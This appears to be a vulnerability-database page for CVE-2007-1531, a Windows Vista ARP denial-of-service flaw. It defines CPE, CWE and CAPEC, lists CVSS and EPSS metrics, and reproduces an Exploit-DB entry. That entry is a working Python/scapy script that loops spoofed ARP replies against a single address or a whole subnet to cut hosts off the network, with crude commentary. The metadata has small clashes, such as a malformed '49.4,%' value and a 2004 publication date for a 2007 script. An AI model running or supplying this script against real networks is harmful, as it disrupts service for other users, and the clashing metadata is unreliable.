CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Microsoft Windows XP and Vista overwrites ARP table entries included in gratuitous ARP, which allows remote attackers to cause a denial of service (loss of network access) by sending a gratuitous ARP for the address of the Vista host.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
26.56%
–
–
2022-04-03
–
–
26.56%
–
–
2023-03-12
–
–
–
37.62%
–
2023-03-26
–
–
–
42.02%
–
2023-08-27
–
–
–
42.69%
–
2023-12-17
–
–
–
44.94%
–
2024-03-03
–
–
–
49.81%
–
2024-06-02
–
–
–
49.81%
–
2024-08-25
–
–
–
52.43%
–
2024-11-24
–
–
–
55.26%
–
2025-02-09
–
–
–
57.07%
–
2025-01-19
–
–
–
55.26%
–
2025-02-16
–
–
–
57.07%
–
2025-03-18
–
–
–
–
49.4%
2025-03-18
–
–
–
–
49.4,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2004-04-01 22h00 +00:00 Author : Kristian Hermansen EDB Verified : Yes
source: https://www.securityfocus.com/bid/23266/info
Microsoft Windows Vista is prone to a denial-of-service vulnerability.
Remote attackers may exploit this issue by submitting malicious ARP requests to the vulnerable computer. To exploit this issue, attackers must have access to the local network segment of a target computer.
Remote attackers can exploit this issue to cause the network interface to stop responding, denying further service to legitimate users.
#!/usr/bin/env python
#
# :: Kristian Hermansen ::
# Date: 20070514
# Reference: CVE-2007-1531
# Description: Microsoft Windows Vista (SP0) dumps interfaces when
# it receives this ARP packet. This DoS is useful for an internet
# cafe, wireless venue, or legitimate local attack. The victim will
# need to manually refresh their network interface. OK, sure
# it's a dumb local attack, but why does Vista disable iface!?!??
# -> Thanks to Newsham / Hoagland
# Vulnerable: Microsoft Windows Vista (SP0) [All Versions]
# Tested:
# * victim == Windows Vista Enterprise (SP0) [English]
# * attacker == Ubuntu Feisty (7.04)
# Usage: python fISTArp.py <victim>
# Depends: scapy.py
# [?] If you don't have scapy
# [+] wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py
from sys import argv
from os import geteuid
from scapy import Ether,ARP,send,srp,conf
from time import sleep
conf.verb = 0
def head():
print """
__ ___ ____ _____ _
/ _|_ _/ ___|_ _|/ \ _ __ _ __
| |_ | |\___ \ | | / _ \ | '__| '_ \
| _|| | ___) || |/ ___ \| | | |_) |
|_| |___|____/ |_/_/ \_\_| | .__/
|_|
"""
def isroot():
if geteuid() != 0:
print "TRY AGAIN AS ROOT SILLY..."
return False
else:
return True
def usage():
print "usage:", argv[0], "<victim(s)>"
print "examples:", argv[0], "192.168.1.100"
print "examples:", argv[0], "192.168.1.0/24\n"
def fisting():
arp_fist = ARP(pdst=argv[1],op=2)
print "We are going to loop forever, CTRL-C to stop...\n"
while True:
sleep(3)
for a in arp_fist:
arping = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=a.pdst)
ans,unans = srp(arping,timeout=0.1)
if len(ans) == 1:
a.psrc=a.pdst
print a.pdst, "is ALIVE!"
print "* Time to shut it down!"
send(a)
ans2,unans2 = srp(arping,timeout=0.1)
if len(unans2) == 1:
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
print "@@@", a.psrc, "was rubber fisted!"
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
sleep(3)
else:
print "FAILED:", a.pdst, "is still alive :-("
else:
print a.pdst, "is already DEAD!"
print
head()
if isroot() != True:
exit(1)
if len(argv) != 2:
usage()
exit(1)
else:
fisting()
# u.b.u.n.t.u n.e.t.s.n.i.p.e.r t.h.c.t.e.st.